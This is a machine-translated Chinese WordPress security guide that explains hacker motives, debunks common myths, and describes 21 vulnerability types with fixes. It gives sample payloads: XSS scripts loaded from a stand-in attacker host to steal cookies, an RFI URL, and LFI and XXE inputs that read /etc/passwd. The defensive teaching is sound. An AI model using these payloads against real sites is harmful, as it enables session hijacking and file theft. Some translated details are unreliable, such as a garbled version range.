WordPress 安全性:终极指南

已发表: 2021-03-24

WordPress 安全性可能令人生畏,但并非必须如此。 在这份关于 WordPress 安全的综合指南中,我们简化了保护 WordPress 网站的基础知识,以便任何非技术人员都可以了解并保护他们的网站免受黑客攻击。

本 WordPress 安全指南分为 10 个易于理解的部分。 每个部分都将指导您了解 WordPress 安全的特定方面。 在本指南结束时,您将了解不同类型的漏洞、黑客的动机以及如何保护从服务器到 WordPress 网站个人用户的所有内容。

让我们潜入吧!

在本指南中

    第 1 部分:WordPress 安全吗?

    WordPress 安全吗? 简短的回答是肯定的。

    WordPress 为互联网上近 40% 的网站提供支持。 WordPress 受欢迎的一个主要原因是它是一个非常安全的平台,可用于构建从博客到大型电子商务网上商店的任何内容。

    WordPress 有安全问题吗?

    虽然 WordPress 本身是安全的,但避免 WordPress 安全错误需要网站所有者的一些努力。 事实是,最大的 WordPress 安全问题是它的用户。 通过网站所有者的一些努力,可以避免平台上的大多数 WordPress 黑客攻击。

    别担心,我们已为您提供保障。 本指南将教您有关保持网站安全的所有信息。

    在我们保护我们的网站之前,我们必须首先了解五件事。

    1. 为什么黑客攻击网站
    2. 不同类型的 WordPress 黑客
    3. 特定类型的 WordPress 漏洞
    4. 如何防止WordPress漏洞
    5. 如何确定漏洞的严重性

    为什么黑客会攻击我的网站?

    这是一个常见的 WordPress 安全问题,当你最糟糕的噩梦开始成真时,你可能会问。 为什么黑客会攻击我的网站? 请放心,攻击是针对个人的可能性微乎其微。 黑客的潜在动机与您网站的内容无关。 黑客通常不关心您的网站是为无家可归的小狗提供的慈善页面,还是有大量待售商品的网站。

    然而,当匿名身份侵入您的网站,造成混乱和混乱时,很难不感到有针对性。 您感到压力重重,并且情况似乎超出了您的控制。 您感到受到人身攻击,并想知道是否有办法阻止攻击发生。 您甚至可能想知道是否有任何挽救您网站的残骸。

    那么,是什么让黑客以网站为目标呢? 它与您的网站、它涵盖的主题或类似内容无关。 实际上,黑客的目标是您的网站用来保持正常运行的软件。 通过入侵该软件,他们可以窃取敏感的客户数据,甚至控制您的 WordPress 网站。

    不幸的是,随着它的日益普及,WordPress 也成为了黑客的目标。 如果流行的 WordPress 插件存在严重漏洞,黑客可能拥有接管数十万甚至数百万个网站的蓝图。 幸运的是,大多数插件漏洞都由开发人员迅速修补。

    通过掌握敏感和私人信息,黑客可以将其出售以获取收入,甚至可以索取数据赎金,从而使人们支付费用以将信息交回安全的手中。

    那么,黑客的主要动机是什么?

    为自己创造现金流。

    互联网是一个利润丰厚的地方,它为各行各业提供了赚取生活工资的机会。 然而,这并不意味着每个人都以合法、道德的方式处理此事。 即使是最小的网站,黑客也能赚取高额利润。

    金钱是他们所需要的全部动力,但有些人喜欢成功入侵网站时获得的权力感,但绝大多数人从事这项业务只是为了现金。

    第 2 部分:揭穿 5 大 WordPress 安全神话

    在我们进入本 WordPress 安全指南的其余部分之前,让我们花一点时间来揭穿一些 WordPress 安全神话。

    您会在互联网上发现很多 WordPress 安全建议,这些建议来自真心希望提供帮助的善意人士。 不幸的是,其中一些建议是建立在 WordPress 安全神话之上的,实际上并没有为您的 WordPress 网站增加任何额外的安全性。 事实上,一些 WordPress 安全“提示”可能会增加您遇到问题和冲突的可能性。

    我们有很多 WordPress 安全神话可供选择,但我们只会关注我们在 30,000 多张支持票中一直看到的前 5 名。 这些与我们客户的对话被用作以下标准的基础,以选择顶级 WordPress 安全神话:

    1. 神话被提及的频率。
    2. 神话引起的头痛次数。
    3. 神话给人的虚假安全感。

    1. 您应该隐藏您的 /wp-admin 或 /wp-login URL(也称为隐藏后端)

    隐藏 wp-admin 背后的想法是黑客无法破解他们找不到的东西。 如果您的登录 URL 不是标准的 WordPress /wp-admin/ URL,您是否没有受到强力攻击的保护?

    事实是,大多数隐藏后端功能只是通过默默无闻来确保安全,这不是万无一失的 WordPress 安全策略。 虽然隐藏您的后端 wp-admin URL 可以帮助减轻对您登录的一些攻击,但这种方法不会阻止所有攻击。

    我们经常收到人们的支持票,他们对 iThemes Security Pro 如何在隐藏登录时报告无效登录尝试感到困惑。 这是因为除了使用浏览器之外,还有其他方法可以登录您的 WordPress 站点,例如使用 XML-RPC 或 REST API。 更不用说更改登录 URL 后,另一个插件或主题仍然可以链接到新 URL。

    事实上,隐藏后端功能并没有真正改变任何东西。 是的,它确实阻止了大多数用户直接访问默认登录 URL。 但是在有人输入自定义登录 URL 后,他们会被重定向回默认的 WordPress 登录 URL。

    自定义登录 URL 也会导致冲突。 有一些插件、主题或第三方应用程序将 wp-login.php 硬编码到他们的代码库中。 因此,当一个硬编码的软件正在寻找 yoursite.com/wp-login.php 时,它会发现一个错误。

    2. 你应该隐藏你的主题名称和 WordPress 版本号

    如果您使用浏览器的开发人员工具,您可以很快看到在 WordPress 站点上运行的主题名称和 WordPress 版本号。 隐藏您的主题名称和 WP 版本背后的理论是,如果攻击者拥有此信息,他们将拥有入侵您网站的蓝图。

    例如,查看上面的屏幕截图,您可以看到该站点使用的是 221,并且 WordPress 版本是 5.6。

    这个 WordPress 安全神话的问题在于键盘后面没有一个真正的人在寻找主题和 WordPress 版本号的完美组合来攻击。 但是,有一些无意识的机器人会在互联网上搜索您网站上运行的实际代码中的已知漏洞,因此隐藏您的主题名称和 WP 版本号不会保护您。

    3. 你应该重命名你的 wp-content 目录

    wp-content 目录包含您的插件、主题和媒体上传文件夹。 这是一个目录中的大量好东西和可执行代码,因此人们希望主动并保护此文件夹是可以理解的。

    不幸的是,这是一个 WordPress 安全神话,即更改 wp-content 名称将为站点添加额外的安全层。 不会。 我们可以使用浏览器开发人员工具轻松找到您更改的 wp-content 目录的名称。 在下面的屏幕截图中,我们可以看到我将该站点的内容目录重命名为 /test/。

    更改内容目录

    更改目录名称不会为您的站点增加任何安全性,但可能会导致硬编码 /wp-content/ 目录路径的插件发生冲突。

    4. 我的网站不够大,无法引起黑客的注意

    这个 WordPress 安全神话让许多网站容易受到攻击。 即使您是一个流量低的小网站的所有者,主动保护您的网站对您来说仍然至关重要。

    即使您是一个流量低的小网站的所有者,主动保护您的网站对您来说仍然至关重要。

    事实是,您的网站或企业不一定要大才能引起潜在攻击者的注意。 黑客仍然认为有机会使用您的网站作为渠道,将您的一些访问者重定向到恶意网站,从您的邮件服务器发送垃圾邮件,传播病毒,甚至挖掘比特币。 他们会拿走他们能得到的任何东西。

    5. WordPress 是一个不安全的平台

    最具破坏性的 WordPress 安全神话是 WordPress 本身是不安全的。 这是不正确的。 WordPress 是世界上最流行的内容管理系统,它没有认真对待安全问题。

    第 3 部分:WordPress 黑客和 WordPress 漏洞

    4 种类型的 WordPress 黑客

    在了解 WordPress 安全性时,重要的是要了解

    1. SEO垃圾邮件

    黑客攻击您网站的另一个动机是获得 SEO 垃圾邮件的好处。 SEO 或搜索引擎优化是搜索引擎用来索引或排名您的网站的方法。 通过在您的网页和博客文章中策略性地使用某些关键字,您可以帮助您的网站在 Google 搜索中排名更高。 这将为您的网站带来流量,并可以帮助您获得值得花时间的利润。

    黑客对 SEO 了如指掌,他们利用它来发挥自己的优势。 当您的网站遭到入侵时,黑客会在您的网站上安装后门。 这使他们可以远程控制您的关键字和网站内容。 他们通常会重定向来自您网站的流量,将其直接汇入他们的网站,完全忽略您的网站。

    这将使您的目标受众感到困惑和沮丧,从而破坏您网站的声誉和可信度。 您的网站访问者通常会被重定向到明显是骗局的网站,并且他们会在将来重新访问您的网站时犹豫不决。

    好像这还不够糟糕,使用这种方法的黑客让您的网站在搜索引擎看来很糟糕,而不仅仅是其他人。 您的网站将不再看起来合法,其排名将迅速下降。 如果没有在搜索中获得高排名,您的网站将成为数以百万计的网站之一,每个月的点击量都不会超过几次。

    2. 恶意软件注入

    许多黑客攻击您的网站,打算用恶意软件感染它。 恶意软件是一小段代码,可用于在您的网站上进行恶意更改。 如果您的网站感染了恶意软件,请务必尽快收到警报。

    恶意软件在您的网站上停留的每一分钟,都会对您的网站造成更大的损害。 对您的网站造成的破坏越多,您清理和恢复网站所需的时间就越长。 通过定期扫描恶意软件来检查您网站的健康状况至关重要。 这就是为什么通过扫描恶意软件来持续检查您网站的健康状况至关重要的原因。

    3. 勒索软件

    黑客可能想攻击您的网站以勒索赎金。 勒索软件是指当黑客接管您的网站时,除非您向他们支付高额费用,否则不会将其发布给您。 勒索软件攻击的平均停机时间为 9.5 天。 10 天的 NO 销售会花费您多少收入?

    黑客要求的平均赎金大幅上升,从 2015 年的 294 美元增加到 2020 年的超过 13,000 美元。有了这些类型的支付,在线犯罪业务并没有放缓。 随着此类犯罪社区的发展,妥善保护您的网站变得越来越重要。

    4. 网站篡改

    一些黑客可能会为了一点乐趣而攻击您的网站。 一种本质上不那么邪恶的黑客风格是网站篡改者的风格。 这些通常是刚开始玩弄黑客技能的孩子或年轻人。 他们做这样的黑客活动是为了练习和提高他们的技能。

    当我们谈论网站被污损时,想想涂鸦。 攻击者会彻底改变您的网站外观,有时会以有趣或古怪的方式。 典型的网站诽谤者的行为是为了好玩或炫耀。 他们经常会张贴他们的不端行为的照片,试图相互配合以赢得最佳诽谤奖。

    好消息是,这种形式的黑客攻击对您来说风险较小。 此外,由于执行篡改的主要是青少年和其他业余黑客,因此与其他形式的恶意软件相比,他们更容易被检测到并从您的网站中删除。 它们通常可以被扫描仪检测到并迅速移除。

    21个常见的WordPress漏洞解释

    不幸的是,WordPress 漏洞存在。 WordPress 漏洞可能存在于您的插件、主题甚至 WordPress 核心中。 由于 WordPress 现在支持近 40% 的网站,因此了解漏洞的任务更加重要。 简而言之:您必须警惕网站的安全性。

    如果您不是 WordPress 安全专家,了解所有各种 WordPress 漏洞可能会令人生畏。 试图了解漏洞的不同严重程度以及 WordPress 漏洞的风险也可能会让人不知所措。

    本指南将定义 21 个最常见的 WordPress 漏洞,介绍如何对 WordPress 漏洞的严重性进行评分,举例说明黑客如何利用该漏洞,并展示如何防止这些漏洞。 让我们潜入。

    什么是 WordPress 漏洞?

    WordPress 漏洞是可以被黑客利用的主题、插件或 WordPress 核心中的弱点或缺陷。 换句话说,WordPress 漏洞创建了一个入口点,黑客可以利用该入口点进行恶意活动。

    请记住,网站黑客攻击几乎都是自动化的。 因此,黑客几乎可以在短时间内轻松闯入大量网站。 黑客使用特殊工具扫描互联网,寻找已知漏洞。

    黑客喜欢简单的目标,拥有一个运行具有已知漏洞的软件的网站就像向​​黑客提供分步说明以闯入您的 WordPress 网站、服务器、计算机或任何其他联网设备。

    我们每月的 WordPress 漏洞综述报告涵盖了所有公开披露的 WordPress 核心、WordPress 插件和主题漏洞。 在这些综述中,我们分享了易受攻击的插件或主题的名称、受影响的版本和漏洞类型。

    什么是零日漏洞?

    零日漏洞是在开发者针对漏洞发布补丁之前已经公开披露的漏洞。

    当谈到 WordPress 安全时,了解零日漏洞的定义很重要。 由于该漏洞已向公众披露,因此开发人员有零日时间修补漏洞。 这可能会对您的插件和主题产生重大影响。

    通常,安全研究人员会发现一个漏洞,并私下向拥有该软件的公司开发人员披露该漏洞。 安全研究人员和开发人员同意,一旦补丁可用,将发布完整的详细信息。 补丁发布后可能会稍微延迟披露漏洞,以便让更多人有时间更新重大安全漏洞。

    但是,如果开发者不回复安全研究人员或未提供漏洞补丁,则研究人员可能会公开披露漏洞,迫使开发者发布补丁。

    公开披露漏洞并看似引入零日漏洞似乎会适得其反。 但是,这是研究人员必须向开发人员施压以修补漏洞的唯一手段。

    在披露漏洞方面,Google 的 Project Zero 也有类似的指导方针。 他们在 90 天后发布漏洞的完整详细信息。 是否已修补漏洞。

    任何人都可以找到该漏洞。 如果黑客在开发人员发布补丁之前发现了漏洞,它将成为最终用户最糟糕的噩梦…… 一个积极利用的零日漏洞。

    什么是积极利用的零日漏洞?

    一个积极利用的零日漏洞正是它听起来的样子。 这是黑客正在瞄准、攻击和积极利用的未修补漏洞。

    2018 年底,黑客正在积极利用 WP GDPR 合规插件中的一个严重的 WordPress 漏洞。 该漏洞允许未经授权的用户(下一节将详细介绍)修改 WP 用户注册设置并将默认的新用户角色从订阅者更改为管理员。

    这些黑客在 WP GDPR 合规性插件和安全研究人员之前发现了这个漏洞。 因此,任何安装了该插件的网站都是网络犯罪分子的一个简单且有保证的标记。

    如何保护自己免受零日漏洞

    保护您的网站免受零日漏洞影响的最佳方法是停用并删除软件,直到漏洞得到修补。 值得庆幸的是,WP GDPR 合规插件开发人员迅速采取行动,并在公开披露后的第二天发布了针对该漏洞的补丁。

    未修补的漏洞使您的网站很容易成为黑客的目标。

    未经身份验证与经过身份验证的 WordPress 漏洞

    在谈论 WordPress 漏洞时,您还需要熟悉两个术语。

    1. 未经身份验证- 未经身份验证的 WordPress 漏洞意味着任何人都可以利用该漏洞。
    2. Authenticated – 一个经过身份验证的 WordPress 漏洞意味着它需要登录用户才能利用。

    需要经过身份验证的用户的漏洞对于黑客来说更难利用,尤其是在需要管理员级别权限的情况下。 而且,如果黑客已经掌握了一组管理员凭据,他们真的不需要利用漏洞来造成严重破坏。

    有一个警告。 一些经过身份验证的漏洞只需要订阅者级别的功能即可利用。 如果您的网站允许任何人注册,那么这与未经身份验证的漏洞之间确实没有太大区别。

    谈到 WordPress 漏洞,有 21 种常见类型的漏洞。 让我们涵盖这些 WordPress 漏洞类型中的每一种。

    1. 认证绕过

    身份验证绕过漏洞允许攻击者跳过身份验证要求并执行通常为经过身份验证的用户保留的任务。

    身份验证是验证用户身份的过程。 WordPress 要求用户输入用户名和密码来验证他们的身份。

    身份验证绕过示例

    应用程序根据一组固定的参数验证身份验证。 攻击者可以修改这些参数以访问通常需要身份验证的网页。

    此类情况的一个非常基本的示例是 URL 中的身份验证参数。

     https:/my-website/some-plugint?param=authenticated&param=no

    上面的 URL 有一个值为 no 的身份验证参数。 因此,当我们访问此页面时,我们会看到一条消息,通知我们我们无权查看此页面上的信息。

    但是,如果身份验证检查编码不当,攻击者可以修改身份验证参数以获得对私有页面的访问权限。

     https:/my-website/some-plugint?param=authenticated&param=yes

    在此示例中,黑客可以将 URL 中的身份验证值更改为 yes 以绕过身份验证要求以查看页面。

    如何防止身份验证绕过预防

    您可以使用双因素身份验证来帮助保护您的网站免受损坏的身份验证漏洞。

    2. 后门漏洞

    后门漏洞允许授权和未授权用户绕过正常的 WordPress 安全措施并获得对计算机、服务器、网站或应用程序的高级访问权限。

    后门示例

    开发人员创建了一个后门,以便他们可以作为管理员用户在编码​​和测试代码之间快速切换。 不幸的是,开发人员忘记在软件向公众发布之前删除后门。

    如果黑客找到后门,他们可以利用入口点来获得对软件的管理员访问权限。 现在黑客拥有管理员访问权限,他们可以执行各种恶意操作,例如注入恶意软件或窃取敏感数据。

    如何防止后门

    许多后门可以归结为一个问题,即安全配置错误。 WordPress 安全配置错误问题可以通过删除代码中任何未使用的功能、使所有库保持最新以及使错误消息更通用来缓解。

    3. PHP 对象注入漏洞

    PHP 对象注入漏洞发生在用户提交的输入在传递给unserialized() PHP 函数之前未经清理(意味着不删除非法字符unserialized()

    PHP 对象注入示例

    下面是示例广告管理器 WordPress 插件中 PHP 对象注入漏洞的真实示例,该漏洞最初由 sumofpwn 报告。

    该问题是由于插件sam-ajax-loader.php文件中对unserialize() 的两次不安全调用造成的。 输入直接从 POST 请求中获取,如下面的代码所示。

     if ( in_array( $action, $allowed_actions ) ) { switch ( $action ) { case 'sam_ajax_load_place': echo json_encode( array( 'success' => false, 'error' => 'Deprecated...' ) ); break; case 'sam_ajax_load_ads': if ( ( isset( $_POST['ads'] ) && is_array( $_POST['ads'] ) ) && isset( $_POST['wc'] ) ) { $clauses = **unserialize( base64_decode( $_POST['wc'] ) )**;

    此问题可能会导致攻击者输入和执行恶意代码。

    如何防止 PHP 对象注入

    不要对用户提供的输入使用unserialize()函数,而是使用 JSON 函数。

    4. 跨站脚本漏洞

    当 Web 应用程序允许用户在 URL 路径中添加自定义代码时,就会出现XSS或跨站点脚本漏洞。 攻击者可以利用该漏洞在受害者的 Web 浏览器中运行恶意代码、创建到恶意网站的重定向或劫持用户会话。

    XSS主要有3种,体现。 存储的和基于 DOM 的

    5. 反射跨站脚本漏洞

    当恶意脚本在客户端请求(您在浏览器中发出的请求)中发送到服务器并由服务器反射回来并由您的浏览器执行时,就会发生反射 XSS或反射跨站点脚本。

    反射式跨站脚本示例

    假设yourfavesite.com要求您登录才能查看网站的某些内容。 假设该网站未能正确编码用户输入。

    攻击者可以通过创建恶意链接并在电子邮件和社交媒体帖子中与yourfavesite.com用户共享来利用此漏洞。

    攻击者使用 URL 缩短工具使恶意链接看起来没有威胁性并且非常yourfavesite.com/cool-stuff点击, yourfavesite.com/cool-stuff - yourfavesite.com/cool-stuff 。 但是,当您单击缩短的链接时,完整的链接将由您的浏览器yourfavesite.com/cool-stuff?q=cool-stuff<\script&src=”http://bad-guys.com/passwordstealingcode.js执行。

    单击该链接后,您将被带到yourfavesite.com ,恶意脚本将反映回您的浏览器,从而允许攻击者劫持您的会话 cookie 和yourfavesite.com帐户。

    如何防止反射跨站脚本

    OWASP 跨脚本预防备忘单上的第 5 条规则是在将不受信任的数据插入 HTML URL 参数值之前进行 URL 编码。 此规则有助于防止在将不受信任的数据添加到 HTTP GET 参数值时创建反射型 XSS 漏洞。

    <a href="http://www.yourfavesite.com?test=...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...">link</a >

    6. 存储跨站脚本漏洞

    存储型 XSS或存储型跨站点脚本漏洞允许黑客将恶意代码注入并存储在 Web 应用程序的服务器上。

    存储跨站脚本示例

    攻击者发现yourfavesite.com允许访问者在站点的评论部分嵌入 HTML 标签。 所以攻击者创建了一个新的评论:

    很棒的文章! 查看其他相关的优秀<script src=”http://bad-guys.com/passwordstealingcode.js>文章。 </script>

    注意:反射的XSS漏洞需要访问者单击恶意代码链接才能执行。 存储型 XSS攻击只需要包含要访问的评论的页面。 恶意代码在每次页面加载时运行。

    现在我们的坏人已经添加了评论,这个页面的每个未来访问者都将暴露于他们的恶意脚本。 该脚本托管在坏人的网站上,能够劫持访问者会话 cookie 和yourfavesite.com帐户。

    如何防止存储跨站脚本

    OWASP 跨脚本预防备忘单上的规则 #1 是在将不受信任的数据添加到 HTML 元素之前进行 HTML 编码。

     <body> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </body>
     <div> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </div>

    对以下字符进行编码以防止切换到任何执行上下文,例如脚本、样式或事件处理程序。 规范中建议使用十六进制实体。

     & --> &amp; < --> &lt; > --> &gt; " --> &quot; ' --> &#x27;

    7. 基于文档对象模型的跨站脚本漏洞

    当网站的客户端脚本将用户提供的数据写入文档对象模型 (DOM) 时,就会出现基于DOM 的 XSS基于文档对象模型的跨站点脚本漏洞。 然后网站从 DOM 中读取用户日期并将其输出到访问者的网络浏览器。

    如果用户提供的数据没有得到正确处理,攻击者可能会注入恶意代码,当网站从 DOM 读取代码时会执行这些代码。

    注意:反射型和存储型 XSS 是服务器端问题,而基于 DOM 的 XSS 是客户端(浏览器)问题。

    基于文档对象模型的跨站点脚本示例

    解释 DOM XSS 攻击自定义欢迎页面的常用方法。 创建帐户后,假设您将yourfavesite.com重定向到定制的欢迎页面,该页面使用以下代码按姓名欢迎您。 用户名被编码到 URL 中。

     <HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document.URL.indexOf("name=")+8; document.write(document.URL.substring(pos,document.URL.length)); </SCRIPT> <BR> Welcome to yourfavesite.com! … </HTML>

    所以,我们会有一个yourfavesite.com/account?name=yourname的 URL。

    攻击者可以通过向新用户发送以下 URL 来完成基于 DOM 的 XSS 攻击:

     http://yourfavesite.com/account?name=<script>alert(document.cookie)</script>

    当新用户点击链接时,他们的浏览器会发送一个请求:

     /account?name=<script>alert(document.cookie)</script>

    bad-guys.com 。 该网站以包含上述 Javascript 代码的页面作为响应。

    新用户的浏览器为页面创建一个 DOM 对象,其中document.location对象包含字符串:

     http://www.bad-guys.com/account?name=<script>alert(document.cookie)</script>

    页面中的原始代码不希望默认参数包含 HTML 标记,从而将标记回显到页面上。 然后新用户的浏览器将呈现页面并执行攻击者的脚本:

     alert(document.cookie)
    如何防止基于 DOM 的跨站脚本

    基于 OWASP Dom 的跨站点脚本预防备忘单上的规则 #1 是 HTML 转义。 然后,JS 会在将不受信任的数据添加到执行上下文中的 HTML 子上下文之前进行转义。

    危险的 HTML 方法示例:

    属性

     element.innerHTML = "<HTML> Tags and markup"; element.outerHTML = "<HTML> Tags and markup";

    方法

     document.write("<HTML> Tags and markup"); document.writeln("<HTML> Tags and markup");

    为了在 DOM 安全中对 HTML 进行动态更新,OWASP 建议:

    1. HTML 编码,然后
    2. JavaScript 编码所有不受信任的输入,如以下示例所示:
     element.innerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"; element.outerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>";
     document.write("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"); document.writeln("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>");

    8. 跨站请求伪造漏洞

    当网络犯罪分子诱使用户执行意外操作时,就会出现CSRF或跨站点请求伪造漏洞。 攻击者伪造用户对应用程序的请求。

    跨站点请求伪造示例

    在 2020 年 1 月的 WordPress 漏洞综述中,我们报告了在代码片段插件中发现的跨站点请求伪造漏洞。 (该插件在2.14.0版本中很快被打补丁)

    该插件缺乏 CRSF 保护,允许任何人代表管理员伪造请求并在易受攻击的站点上注入可执行代码。 攻击者可以利用此漏洞执行恶意代码,甚至执行完整的站点接管。

    如何防止跨站请求伪造

    大多数编码框架都有内置的同步令牌防御来防止 CSRF,应该使用它们。

    还有一些外部组件,如 CSRF Protector Project,可用于保护 PHP 和 Apache CSRF 漏洞。

    9. 服务器端请求伪造漏洞

    SSRF或 Server-Site Request Forger 漏洞允许攻击者欺骗服务器端应用程序向他们选择的任意域发出 HTTP 请求。

    服务器端请求伪造示例

    可以利用 SSRF 漏洞发起反射跨站点脚本攻击。 攻击者可以从 bad-guys.com 获取恶意脚本并将其提供给网站的所有访问者。

    如何防止服务器端请求伪造

    缓解 SSRF 漏洞的第一步是验证输入。 例如,如果您的服务器依赖于用户提供的 URL 来获取不同的文件,您应该验证 URL 并且只允许您信任的目标主机。

    有关 SSRF 预防的更多信息,请查看 OWASP 备忘单。

    10. 提权漏洞

    权限提升漏洞允许攻击者执行通常需要更高级别权限的任务。

    权限提升示例

    在我们 2020 年 11 月的 WordPress 漏洞综述中,我们报告了在 Ultimate Member 插件中发现的提权漏洞(该漏洞已在 2.1.12 版中修补)。

    攻击者可以为定义用户角色的wp_capabilities用户元提供数组参数。 在注册过程中,提交的注册详细信息被传递给update_profile函数,并且提交的任何相应元数据,无论提交了什么,都将为该新注册用户更新。

    该漏洞本质上允许新用户在注册时请求管理员。

    如何防止权限提升

    iThemes Security Pro 可以通过限制管理员访问受信任设备列表来帮助保护您的网站免受破坏的访问控制。

    11. 远程代码执行漏洞

    RCE或远程执行代码漏洞允许攻击者访问和更改甚至接管计算机或服务器。

    远程代码执行示例

    2018 年,微软披露了在 Excel 中发现的远程代码执行漏洞。

    成功利用此漏洞的攻击者可以在当前用户的上下文中运行任意代码。 如果当前用户使用管理用户权限登录,攻击者就可以控制受影响的系统。 然后攻击者可以安装程序; 查看、更改或删除数据; 或创建具有完全用户权限的新帐户。 与使用管理用户权限操作的用户相比,帐户配置为在系统上拥有较少用户权限的用户受到的影响较小。

    如何防止远程代码执行

    缓解 RCE 漏洞的最简单方法是通过过滤和删除任何不需要的字符来验证用户输入。

    我们的母公司 Liquid Web 有一篇关于防止远程代码执行的很棒的文章。

    14. 文件包含漏洞

    当 Web 应用程序允许用户向文件提交输入或将文件上传到服务器时,就会出现文件包含漏洞。

    有两种类型的文件包含漏洞,本地和远程。

    15. 本地文件包含漏洞

    LFI或本地文件包含漏洞允许攻击者读取并有时执行网站服务器上的文件。

    本地文件包含示例

    让我们再看一下yourfavesite.com ,其中传递给include语句的路径没有正确清理。 例如,让我们看看下面的 URL。

     yourfavesite.com/module.php?file=example.file

    攻击者可以通过更改 URL 参数来访问服务器上的任意文件。

     yourfavesite.com/module.php?file=etc/passwd

    更改 URL 中文件的值可能允许攻击者查看 psswd 文件的内容。

    如何防止本地文件包含

    创建页面可能包含的文件的允许列表,然后使用标识符访问所选文件。 然后阻止任何包含无效标识符的请求。

    16. 远程文件包含漏洞

    RFI或远程文件包含漏洞允许攻击者包含文件,通常利用目标应用程序中实现的“动态文件包含”机制。

    远程文件包含示例

    WordPress Plugin WP with Spritz 已在 WordPress.org 存储库中关闭,因为它存在 RFI 漏洞。

    下面是该漏洞的源代码:

     if(isset($_GET['url'])){ $content=file_get_contents($_GET['url']);

    可以通过更改content.filter.php?url=值的值来利用该代码。 例如:

     yoursite.com//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://bad-guys.com/exec
    远程文件包含预防

    创建页面可能包含的文件的允许列表,然后使用标识符访问所选文件。 然后阻止任何包含无效标识符的请求。

    17. 目录遍历漏洞

    目录遍历或文件遍历漏洞允许攻击者读取运行应用程序的服务器上的任意文件。

    目录遍历示例

    WordPress 5.7 – 5.03 版本容易受到目录遍历攻击,因为它们未能正确验证用户输入数据。 攻击者可以访问至少具有author权限的帐户,可以利用目录遍历漏洞在底层服务器上执行恶意 PHP 代码,从而导致完全远程接管。

    如何防止目录遍历

    在模板化或使用语言文件时,开发人员可以使用索引而不是文件名的实际部分。

    18. 恶意重定向漏洞

    恶意重定向漏洞允许攻击者注入代码将站点访问者重定向到另一个网站。

    恶意重定向示例

    假设您正在使用在线精品店的搜索工具寻找一件蓝色毛衣。

    不幸的是,精品店的服务器未能正确编码用户输入,攻击者能够将恶意重定向脚本注入您的搜索查询。

    因此,当您在精品店的搜索字段中输入蓝色毛衣并按回车键时,您最终会进入攻击者的网页,而不是精品店的页面,里面有与您的搜索描述相匹配的毛衣。

    如何防止恶意重定向

    您可以通过清理用户输入、验证 URL 并获取访问者对所有异地重定向的确认来防止恶意重定向。

    19. XML 外部实体漏洞

    XXE或 XML 外部实体漏洞允许攻击者欺骗 XML 解析器将敏感信息传递给他们控制的外部实体。

    XML 外部实体示例

    攻击者可以利用 XXE 漏洞访问敏感文件,例如存储用户帐户信息的 etc/passwd。

     <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>
    如何防止 XML 外部实体

    防止XXE的最佳方法是使用不太复杂的数据格式,例如 JSON,并避免对敏感数据进行序列化。

    20. 拒绝服务攻击

    DoS或拒绝服务攻击是故意尝试通过用网络流量淹没您的网站或应用程序来使用户无法使用它。

    DDoS分布式拒绝服务攻击中,攻击者使用多个来源用流量淹没网络。 攻击者将劫持受恶意软件感染的计算机、路由器和物联网设备组,以增加流量。

    拒绝服务攻击示例

    有史以来最大规模的 DDoS(分布式拒绝服务)攻击是在今年 2 月针对 AWS 发起的。 亚马逊报告称,他们的托管威胁防护服务 AWS Shield 观察到并缓解了这种巨大的 DDoS 攻击。 攻击持续了 3 天,达到了每秒 2.3 TB 的峰值。

    如何防止拒绝服务攻击

    有两种主要方法可以缓解 DoS 攻击。

    1. 购买比您需要的更多的主机。 拥有额外的资源可以帮助您应对 DoS 攻击造成的需求增加。
    2. 使用 Cloudflare 等服务器级防火墙。 防火墙可以检测到异常的流量高峰并防止您的网站过载。

    21. 按键记录

    击键记录,也称为键盘记录或键盘捕获,发生在黑客暗中监视和记录网站访问者的击键时。

    击键记录示例

    2017 年,一名黑客成功地在智能手机制造商 OnePlus 的服务器上安装了恶意 JavaScript。

    攻击者使用恶意代码监视并记录 OnePlus 客户在输入信用卡详细信息时的按键操作。 在 OnePlus 检测并修补黑客之前,黑客记录并收集了 40,000 名客户的击键。

    如何防止击键记录

    更新一切! 通常,攻击者需要利用另一个现有漏洞在计算机或服务器上注入键盘记录器。 使用最新的安全补丁更新所有内容将防止黑客轻松地在您的网站或计算机上安装键盘记录器。

    奖励:网络钓鱼

    软件漏洞是黑客和网络犯罪分子试图利用的唯一东西。 黑客还瞄准和利用人类。 一种常见的利用方法是网络钓鱼。

    什么是网络钓鱼?

    网络钓鱼是一种网络攻击方法,使用电子邮件、社交媒体、短信和电话来诱骗受害者提供个人信息。 然后攻击者将使用该信息访问个人帐户或进行身份欺诈。

    如何发现网络钓鱼电子邮件

    正如我们在本文前面了解到的,一些漏洞需要某种类型的用户交互才能利用。 黑客诱骗人们参与其邪恶活动的一种方式是发送网络钓鱼电子邮件。

    学习如何发现网络钓鱼电子邮件可以避免您无意中参与网络犯罪分子的计划。

    发现网络钓鱼电子邮件的 4 个技巧

    1. 查看发件人电子邮件地址- 如果您收到来自企业的电子邮件,“@”之后的发件人电子邮件地址部分应与企业名称匹配。

      如果电子邮件代表公司或政府实体,但使用的是“@gmail”等公共电子邮件地址,则表明存在网络钓鱼电子邮件。

      留意域名的细微拼写错误。 例如,让我们看看这个电子邮件地址 [email protected] 我们可以看到 Netflix 在末尾有一个额外的“x”。 拼写错误清楚地表明该电子邮件是由骗子发送的,应立即删除。
    2. 查找语法错误– 充满语法错误的电子邮件是恶意电子邮件的标志。 所有单词都可能拼写正确,但句子中缺少会使句子连贯的单词。 例如,“您的帐户被黑了。 更新密码以确保帐户安全”。

      每个人都会犯错,并不是每封有一两个错字的电子邮件都试图欺骗您。 但是,在回答之前,需要仔细查看多个语法错误。
    3. 可疑的附件或链接——在与电子邮件中包含的任何附件或链接进行交互之前,值得暂停片刻。

